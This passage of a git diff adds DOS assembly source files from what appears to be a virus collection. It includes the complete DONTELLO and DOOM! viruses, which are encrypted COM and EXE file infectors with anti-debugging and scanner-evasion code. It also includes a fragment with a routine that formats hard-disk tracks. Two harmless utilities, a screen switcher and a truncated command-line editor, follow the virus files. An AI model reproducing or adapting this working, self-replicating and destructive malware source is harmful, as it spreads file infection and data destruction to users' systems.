ds:0012h,cx + sub ds:0003,cx + mov ax,ds:0003 ; + +; +; F-Flag - Suspicious file access +; + + ;Restore date and time of file to be infected + + mov ax,5701h + mov dx,WORD PTR [si + F_DATE - VIRUS] + mov cx,WORD PTR [si + F_TIME - VIRUS] + int 21h + + ;Restore file's attributes + + lea dx,[si + FNAME - VIRUS] ;get filename + mov cx,[si + ATTR - VIRUS] ;get old attributes + mov ax,4301h ;set file attributes to cx + int 21h + + +; +; S-flag - Search for COM and EXE +; + + db '*.COM',0 + db '*.EXE',0 + +; +; L-flag - Trap Software's loading +; + + ;simulated resident int21h trap: + + pushf ;save flags + push cs + pop es ;ES=CS + cmp ah,4Bh ;load and execute program + je KILL + +; +; D-flag - Disk Write Access +; + + mov ch,0 ;ch=track or cylinder = cx +KILL: + mov ah,5 ;ah=function, al = interleave + mov dh,0 ;dh=head + mov dl,80h ;dl=drive 0 + int 13h ;format track + + inc ch ;increase track + cmp ch,20h ;track 20h? + loopnz KILL ;no? keep on formating + +; +; M-flag - Memory Resident Code +; + + mov ax,2521h ;DOS Services ah=function 25h + mov dx,offset kill + int 21h ;set intrpt vector al to ds:dx + +; +; U-Flag - Undocumented DOS call +; + + mov dx,5945h + mov ax,0FA01h + int 21h + +; +; G-Flag - Garbage Instructions +; + + add ax,34 + add bx,34 + int 65h + add cx,35 + add dx,45 + add si,23 + add di,34 + nop + nop + nop + nop + nop + add ax,34 + add bx,34 + add cx,35 + add dx,45 + add si,23 + add di,34 + nop + nop + nop + nop + nop + +; +; Z-Flag - EXE / COM determination +; + + cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file? + je CONT2 ;no? check com + + cmp WORD PTR [si + START_CODE - VIRUS],'MZ' ;EXE file? + jne CHECK_COM ;no? check com + +CONT2: +CHECK_COM: + +; +; B-Flag - Back to Entry Point +; + + mov si,0100h + push si + ret + +ENDVIRUS equ $ + +; + +START_CODE db 5 dup (?) +HOST_STUB db 00 +ATTR dw 0 +F_DATE dw 0 +F_TIME dw 0 +FNAME db 13 dup (?) + +ZIZE equ OFFSET ENDVIRUS - OFFSET VIRUS + + +MAIN ENDS + END DONUTHIN diff --git a/d/DONTELLO.ASM b/d/DONTELLO.ASM new file mode 100755 index 0000000..a9fc70f --- /dev/null +++ b/d/DONTELLO.ASM @@ -0,0 +1,417 @@ +; DONTELLO.ASM -- Donatello Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + call get_random + mov cx,0014h ; CX holds the divisor + cwd ; Sign-extend AX into DX:AX + div cx ; Divide AX by CX + or dx,dx ; Is the remaindier zero? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: call get_random + mov cx,0064h ; CX holds the divisor + cwd ; Sign-extend AX into DX:AX + div cx ; Divide AX by CX + or dx,dx ; Is the remaindier zero? + jne skip01 ; If not equal, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: xor ah,ah ; BIOS get time function + int 1Ah + xchg dx,ax ; AX holds low word of timer + mov dx,0FFh ; Start with port 255 +out_loop: out dx,al ; OUT a value to the port + dec dx ; Do the next port + jne out_loop ; Repeat until DX = 0 + +end01: mov cx,0003h ; Do 3 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + jmp short strt02 ; Success -- skip jump +skip02: jmp end02 ; Skip the routine +strt02: push es ; Save ES + mov ax,050h ; Set the extra segement to + mov es,ax ; the BIOS area + mov byte ptr es:[0000h],1 ; Set print screen flag to + pop es ; "printing," restore ES + +end02: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 0E2h,065h,076h,0A4h,0A6h + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 095h,001h,027h,07Eh,08Fh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 02Ch,015h,0BFh,02Dh,0F2h + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 0C4h,003h,038h,043h,07Fh + +get_random proc near + xor ah,ah ; BIOS get clock count function + int 01Ah + xchg dx,ax ; Transfer the count into AX + ret ; Return to caller +get_random endp + +data00 db "Cowabunga, dudes! It's Donatello!",13,10 + db "(Hey, John, can I be on Nightline too?)",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Donatello]",0 + db "Nowhere Man, [NuKE] '92",0 + db "Hey, Donatello, be like Mike!",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/d/DOOM.ASM b/d/DOOM.ASM new file mode 100755 index 0000000..c0bc91f --- /dev/null +++ b/d/DOOM.ASM @@ -0,0 +1,272 @@ +; VirusName : DOOM! +; Origin : Sweden +; Author : Raver +; Date : 23/12/93 + +; My second scratch contribution to this issue. It's a simple non-over- +; writing, non-destructive exe-infector that "eats up" a bit memory on +; every run. It restore date/time stamps and uses an encryption routine +; to avoid discovery from virus scanners. Of'cos no virus scanners are +; able to detect it. This includes Scan/FindViru/MSAV/CPAV/F-Prot and +; TBAV's most heuristic scanner. Well, 9 out of 10 viruses, that's nothing +; but pure bullshit!, ha!, this "wanna-be" can't find a single flag in +; this code! + +; After these two moderate, educational viruses I'm planning to do some +; "fancier" memory resident viruses to the next issue. If I've got some +; time, that is. Fucking military service :) + +; ----------- +; DOOM! +; ----------- + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +start_of_virus: + + call get_offset +get_offset: ;alternative way to get the delta + mov di,sp ;offset without activating any flags in + mov bp,word ptr ss:[di] ;TB-scan + sub bp,offset get_offset + inc sp + inc sp + + push ds ;save es & ds + push es + push cs ;and point ds to code segment + pop ds + + call encrypt_decrypt ;decrypt contents of file + +start_of_encryption: + cld ;clear direction flag + + mov ah,1ah ;set new dta area + lea dx,[bp+dta_area] + int 21h + + mov bx,es + push cs ;es points to code segment + pop es + + lea si,[bp+return2_buffer] ;this code prepares the return code + lea di,[bp+return_buffer] + movsw ;transfer buffer contents + lodsw + add ax,bx ;bx holds start es = psp + add ax,10h + stosw + +; lea di,[bp+stack_return] +; lea si,[bp+stack_save] ;si already points to stack_save + add di,8 ;saving a byte with this code + lodsw ;prepares the restore of ss/sp + add ax,bx + add ax,10h + stosw + movsw + + + mov ah,47h ;save starting directory + xor dl,dl + lea si,[bp+save_dir] + int 21h + +find_new_files: ;start finding files + mov ah,4eh + mov cx,7 + lea dx,[bp+search_pattern] +find_files: + int 21h + + jnc open_file ;if found a file + lea dx,[bp+dir_mask] ;else change directory + mov ah,3bh + int 21h + jnc find_new_files + jmp no_more_files ;end of all files + +open_file: ;open the found file + mov ax,3d02h + lea dx,[bp+dta_area+1eh] + int 21h + + xchg ax,bx ;file handle in bx + + mov ah,3fh ;read the exe header to exe_header + mov cx,18h + lea dx,[bp+exe_header] + int 21h + + lea si,[bp+exe_header] ;check if it's really a executable + lodsw + cmp ax,'ZM' + je check_infected + cmp ax,'MZ' + je check_infected + jmp no_exe ;else jump + +check_infected: + + add si,10h ;saving another byte +; lea si,[bp+exe_header+12h] + lodsw + cmp ax,'Ri' ;is it already infected? + jne start_infect + jmp already_infected + + +start_infect: + lea di,[bp+return2_buffer] ;put the files ip/cs in return2_buffer + movsw + movsw + + lea si,[bp+exe_header+0eh] ;save the files ss/sp in stack_save + movsw + movsw + + lea di,[bp+exe_header+12h] ;mark the file infected + mov ax,'Ri' + stosw + + mov al,2 ;go to end_of_file + call go_eof ;dx/ax is file length at return + + mov cx,10h ;use div to save bytes instead of speed + div cx + sub ax,word ptr ds:[bp+exe_header+8] + xchg dx,ax + stosw ;put new ip/cs in exe_header + xchg dx,ax + stosw + + inc ax ;put new suitable ss/sp in exe_header + inc ax + mov word ptr [bp+exe_header+0eh],ax + mov word ptr [bp+exe_header+10h],4b0h + + + mov ah,2ch ;get system time for random number + int 21h + xor dh,dh ;just alter the code a little bit + or dl,00001010b ;with encryption so TB-scan wont't + mov word ptr [bp+encryption_value],dx ;find garbage instruction + + mov ah,40h ;prepare to append virus to file + lea dx,[bp+start_of_virus] + call append_virus ;call it + + mov al,2 ;go to end of file + call go_eof + + mov cx,512 ;get filesize in 512 modules + div cx + inc ax + mov word ptr [bp+exe_header+2],dx ;put modulo/filesize in + mov word ptr [bp+exe_header+4],ax ;exe header + + + xor al,al ;go to beginning of file + call go_eof + + mov ah,40h ;write new exe header + mov cx,18h + lea dx,[bp+exe_header] + int 21h + + lea si,[bp+dta_area+16h] ;restore time/date stamp + mov cx,word ptr [si] + mov dx,word ptr [si+2] + mov ax,5701h + int 21h + +already_infected: +no_exe: + + mov ah,3eh ;close file + int 21h + + mov ax,4301h ;restore file attribute + mov cl,byte ptr [bp+dta_area+15h] + lea dx,[bp+dta_area+1eh] + int 21h + + mov ah,4fh ;find next file + jmp find_files + +no_more_files: + + lea dx,[bp+save_dir] ;restore starting directory + mov ah,3bh + int 21h + + pop es ;shrink memory block + mov ah,4ah + mov bx,10000 + int 21h + push es + + mov ah,48h ;allocate a new 3k block + mov bx,192 + int 21h + jc no_mem + dec ax + mov es,ax + mov word ptr es:[1],0008h ;mark DOS as owner and it will +no_mem: ;reduce available memory to DOS + + pop es ;restore old es/ds + pop ds + + cli ;must use this before altering ss/sp + mov ss,word ptr cs:[bp+stack_return] ;put back original ss/sp + mov sp,word ptr cs:[bp+stack_return+2] + sti ;interrupts allowed again + +end_part: +db 0eah ;jmp to original ip +return_buffer db 0,0,0,0 +return2_buffer dw 0,0fff0h ;code for carrier file to exit +stack_save dd ? +stack_return dd ? +dir_mask db '..',0 +search_pattern db '*.exe',0 +signature db "DOOM! (c) '93 Raver/Immortal Riot" +go_eof: ;procedure to go to beginning and + mov ah,42h ;end of file + xor cx,cx ;this saves a few bytes as it's + cwd ;used a few times + int 21h + ret +end_of_encryption: +pad db 0 ;pad out a byte so first byte of + ;encryption value won't be overwritten +encryption_value dw 0 + +encrypt_decrypt: ;cryptation routine + mov si,word ptr [bp+encryption_value] + lea di,[bp+start_of_encryption] + mov cx,(end_of_encryption-start_of_encryption+1)/2 +crypt_loop: + xor word ptr [di],si + inc di + inc di + loop crypt_loop + ret + +append_virus: + call encrypt_decrypt ;encrypt virus before write + mov cx,end_of_virus-start_of_virus ;cx is length of virus + int 21h ;call 40h + call encrypt_decrypt ;decrypt virus again + ret +end_of_virus: +exe_header db 18h dup(?) ;don't need to copy this shit +dta_area db 43 dup(?) ;to the next file to infect +save_dir db 64 dup(?) ;return adress is already saved! +cseg ends +end start_of_virus \ No newline at end of file diff --git a/d/DOORS.ASM b/d/DOORS.ASM new file mode 100755 index 0000000..48fc64b --- /dev/null +++ b/d/DOORS.ASM @@ -0,0 +1,152 @@ +title DOORS.ASM - Switch Color/Mono Screens On Keyboard Request +; +VECTORS segment at 0h ; 8088 / 80286 Interrupt Vector Area + org 9h*4 ; IBM PC Keyboard is Int 9H +KB_INT_VECTOR label dword ; Double word label +; +VECTORS ends +; +ROM_BIOS_DATA segment at 40h ; Low Memory "BIOS" Parameters +; + org 10h ; Location of EQUIP_FLAG +EQUIP_FLAG dw ? ; Contains video settings + ; in bits 4 and 5 +; + org 17h ; Location of KB_FLAG +KB_FLAG db ? ; Contains Alt (bit 3) & + ; Right Shift (bit 0) States +ROM_BIOS_DATA ends +; +; Initialization Routine +; +CODE_SEG segment + assume cs:CODE_SEG + org 100h ; COM program format +BEGIN: jmp SWAP_VECTORS ; Initialize vectors and attach to DOS +; +ROM_KB_INT dd 0 ; Double word to save address of + ; ROM-BIOS keyboard interrupt +; DOORS_INT intercepts the keyboard interrupt and switches +; screens if [Alt]-[Right Shift] combination is pressed +; +DOORS_INT proc near + assume ds:nothing + push ds ; Push all affected registers + push es + push ax + push bx + push cx + push dx + push si + push di +; + pushf ; Push Flags for fake interrupt call + call ROM_KB_INT ; to BIOS program to read keyboard +; + assume ds:ROM_BIOS_DATA ; Define data segment to read + mov ax,ROM_BIOS_DATA ; keyboard flag & equipment flag + mov ds,ax + mov al,KB_FLAG ; Get keyboard flag + and al,09h ; Isolate [Alt] + [Right Shift] + cmp al,09h ; Are they pressed? + jne RETURN ; No, quit +; +; [Alt] + [Right Shift] are pressed -- Continue processing +; Check on video mode - quit if not monochrome, color 80x25 or BW 80x25 +; + mov ah,15 ; Call Func 15 of Int 10h to + int 10h ; get video state of the PC + cmp al,7 ; Is screen monochrome? + je SCREEN_OKAY ; Yes, go switch screens + cmp al,3 ; Is screen color text? + jbe CHECK_40_OR_80 ; Yes, go check for 80 or 40 char + jmp RETURN ; Screen is in graphics mode, quit +CHECK_40_or_80: + cmp al,1 ; Is screen 40-character? + jbe RETURN ; Yes, quit +; +SCREEN_OKAY: +; +; Save the current cursor position +; + mov ah,3 ; Call Func 3 of Int 10H + mov bh,0 ; to read cursor position + int 10h ; (page zero for color screen) +; +; Screen switch routine - Establish calling argument (AL) for Int 10h +; + mov bx,EQUIP_FLAG ; Current equipment flag to BX + mov cx,bx ; Make a copy of it in CX + and cx,30h ; Extract screen information + xor bx,cx ; Erase current screen information in BX + or bx,20h ; Set BX to color 80x25 + mov al,3 ; Set AL for color 80x25 in Int 10h + cmp cx,30h ; Is current mono? + je SET_MODE ; Yes, switch to color + or bx,30h ; No, set BX for monochrome + mov al,7 ; Set AL for monochrome in Int 10h +SET_MODE: + mov EQUIP_FLAG,bx ; Write BX to equipment flag + xor ah,ah ; Use Func 0 of Int 10h to + int 10h ; change screen parameters +; +; Restore Cursor +; + mov ah,2 ; Use Func 2 of Int 10h to restore + mov bh,0 ; cursor on new screen (position in DX) + int 10h +; +; After screens are switched, set DS and ES registers to move screen data +; + mov ax,0b000h ; Load ES with Mono Segment + mov es,ax + mov ax,0b800h ; Load DS with Color Segment + mov ds,ax + cmp cx,30h ; Did we switch from mono? + jne COPY_THE_SCREEN ; Yes, move data from mono to color + push ds ; No, swap ES and DS to move data + push es ; from color to mono + pop ds + pop es +COPY_THE_SCREEN: + xor di,di ; Start at zero offsets + xor si,si + mov cx,2000 ; 2000 chars + attrs per screen + cld ; Make sure move is 'forward' +rep movsw ; Move Words with string instruction +; +RETURN: + pop di ; Restore saved registers + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + iret ; Return to system + +DOORS_INT endp +; +; This procedure initializes the new keyboard interupt vectors +; +SWAP_VECTORS proc near + assume ds:VECTORS + mov ax,VECTORS ; Set up the data + mov ds,ax ; segment for vectors + cli ; Disable interrupts + mov ax,word ptr KB_INT_VECTOR ; Store addresses + mov word ptr ROM_KB_INT,ax ; of BIOS program + mov ax,word ptr KB_INT_VECTOR[2] + mov word ptr ROM_KB_INT[2],ax + mov word ptr KB_INT_VECTOR, offset DOORS_INT ; Substitute Our + mov word ptr KB_INT_VECTOR[2],cs ; Program + sti ; Enable interrupts + mov dx,offset SWAP_VECTORS ; End of new resident + ; program + int 27h ; Terminate resident +SWAP_VECTORS endp +CODE_SEG ends + end BEGIN +; + \ No newline at end of file diff --git a/d/DOS-EDIT.ASM b/d/DOS-EDIT.ASM new file mode 100755 index 0000000..a98c9fb --- /dev/null +++ b/d/DOS-EDIT.ASM @@ -0,0 +1,404 @@ +; DOS-EDIT.ASM -- Resident DOS Command Line Editor +; ================================================ + +CSEG Segment + Assume CS:CSEG + + Org 0080h +KeyboardBuffer Label Byte + + Org 0100h +Entry: Jmp Initialize + +; All Data +; -------- + + db "(C) Copyright 1985 Ziff-Davis Publishing Co." + +OldInterrupt21 dd ? ; Original Interrupt 21 vector +OldInterrupt16 dd ? ; Original Interrupt 16 vector +DoingBuffKey db 0 ; Flag for doing Function Call 0Ah +BufferPointer dw KeyboardBuffer ; Pointer to Keyboard Buffer +BufferCounter db 0 ; Number of characters in buffer +MaxCharCol db ? ; Maximum Character Column on screen +OriginalCursor dw ? ; Place to save cursor on full-screen +InsertOn db 0 ; Insert mode flag + +KeyRoutine dw Home,Up,PgUp,Dummy,Left,Dummy,Right + dw Dummy,End,Down,PgDn,Insert,Delete + +; New Interrupt 21 (DOS Function Calls) +; ------------------------------------- + +NewInterrupt21 Proc Far + + Mov CS:[DoingBuffKey],0 ; Turn flag off initially + + Cmp AH,0Ah ; Check if doing buffered input + Jz BufferedInput + + Jmp CS:[OldInterrupt21] ; If not, do regular interrupt + +BufferedInput: Mov CS:[DoingBuffKey],-1 ; If so, turn on flag + + PushF ; Simulate regular interrupt + Call CS:[OldInterrupt21] + + Mov CS:[DoingBuffKey],0 ; Turn off flag + Mov CS:[BufferCounter],0 ; Re-set character counter + + IRet ; Return to user program + +NewInterrupt21 EndP + +; New Interrupt 16 (BIOS Keyboard Routine) +; ---------------------------------------- + +NewInterrupt16 Proc Far + + Sti ; Re-enable interrupts + Cmp CS:[DoingBuffKey],0 ; Check if doing call 0Ah + Jz DoNotIntercept ; If not, do old interrupt + + Cmp CS:[BufferCounter],0 ; Check if chars in buffer + Jnz Substitute ; If so, get them out + + Cmp AH,0 ; See if doing a get key + Jz CheckTheKey ; If so, get the key + +DoNotIntercept: Jmp CS:[OldInterrupt16] ; Otherwise, do old interrupt + +CheckTheKey: PushF ; Save flags + Call CS:[OldInterrupt16] ; Do regular interrupt + + Cmp AX,4800h ; Check if up cursor + Jnz NotTriggerKey ; If not, don't bother + + Call FullScreen ; Move around the screen + + Cmp CS:[BufferCounter],0 ; Any chars to deliver? + Jz CheckTheKey ; If not, get another key + +ReturnBuffer: Call GetBufferChar ; Otherwise, pull one out + + Inc CS:[BufferPointer] ; Kick up the pointer + Dec CS:[BufferCounter] ; And knock down the counter + +NotTriggerKey: IRet ; And go back to calling prog + +; Substitute Key from Buffer +; -------------------------- + +Substitute: Cmp AH,2 ; See if shift status check + Jae DoNotIntercept ; If so, can't be bothered + + Cmp AH,0 ; See if get a key + Jz ReturnBuffer ; If so, get the key above + + Call GetBufferChar ; Otherwise get a key + Cmp CS:[BufferCounter],0 ; And clear zero flag + + Ret 2 ; Return with existing flags + +NewInterrupt16 EndP + +; Get Buffer Character +; -------------------- + +GetBufferChar: Push BX + Mov BX,CS:[BufferPointer] ; Get pointer to key buffer + Mov AL,CS:[BX] ; Get the key + Sub AH,AH ; Blank out scan code + Pop BX + Ret + +; Full Screen Routine +; ------------------- + +FullScreen: Push AX ; Save all these registers + Push BX + Push CX + Push DX + Push DI + Push DS + Push ES + + Mov AX,CS ; Set AX to this segment + Mov DS,AX ; Do DS is this segment + Mov ES,AX ; And ES is also + + Assume DS:CSEG, ES:CSEG ; Tell the assembler + + Mov AH,0Fh ; Get Video State + Int 10h ; through BIOS + Dec AH ; Number of columns on screen + Mov [MaxCharCol],AH ; Save maximum column + ; BH = Page Number throughout + Mov AH,03h ; Get cursor in DX + Int 10h ; through BIOS + Mov [OriginalCursor],DX ; And save the cursor position + + Call Up ; Move cursor up + +MainLoop: Cmp DH,Byte Ptr [OriginalCursor + 1] ; If at line + Jz TermFullScreen ; stated from, terminate + + Mov AH,02h ; Set cursor from DX + Int 10h ; through BIOS + +GetKeyboard: Mov AH,0 ; Get the next key + PushF ; By simulating Interrupt 16h + Call CS:[OldInterrupt16] ; which goes to BIOS + + Cmp AL,1Bh ; See if Escape key + Jz TermFullScreen ; If so, terminate full screen + +; Back Space +; ---------- + + Cmp AL,08h ; See if back space + Jnz NotBackSpace ; If not, continue test + + Or DL,DL ; Check if cursor at left + Jz MainLoop ; If so, do nothing + + Dec DL ; Otherwise, move cursor back + Call ShiftLeft ; And shift line to the left + + Jmp MainLoop ; And continue for next key + +; Carriage Return +; --------------- + +NotBackSpace: Cmp AL,0Dh ; See if Carriage Return + Jnz NotCarrRet ; If not, continue test + + Call End ; Move line into buffer + + Mov AL,0Dh ; Tack on a Carriage Return + Stosb ; By writing to buffer + Inc [BufferCounter] ; One more character in buffer + + Jmp MainLoop ; And continue + +; Normal Character +; ---------------- + +NotCarrRet: Cmp AL,' ' ; See if normal character + Jb NotNormalChar ; If not, continue test + + Cmp [InsertOn],0 ; Check for Insert mode + Jz OverWrite ; If not, overwrite + + Call ShiftRight ; Shift line right for insert + Jmp Short NormalCharEnd ; And get ready to print + +OverWrite: Mov CX,1 ; Write one character + Mov AH,0Ah ; By calling BIOS + Int 10h + +NormalCharEnd: Call Right ; Cursor to right and print + + Jmp MainLoop ; Back for another key + +; Cursor Key, Insert, or Delete Subroutine +; ---------------------------------------- + +NotNormalChar: Xchg AL,AH ; Put extended code in AL + Sub AX,71 ; See if it's a cursor key + Jc GetKeyboard ; If not, no good + + Cmp AX,12 ; Another check for cursor + Ja GetKeyboard ; If not, skip it + + Add AX,AX ; Double for index + Mov DI,AX ; into vector table + + Call [KeyRoutine + DI] ; Do the routine + + Jmp MainLoop ; Back for another key + +; Terminate Full Screen Movement +; ------------------------------ + 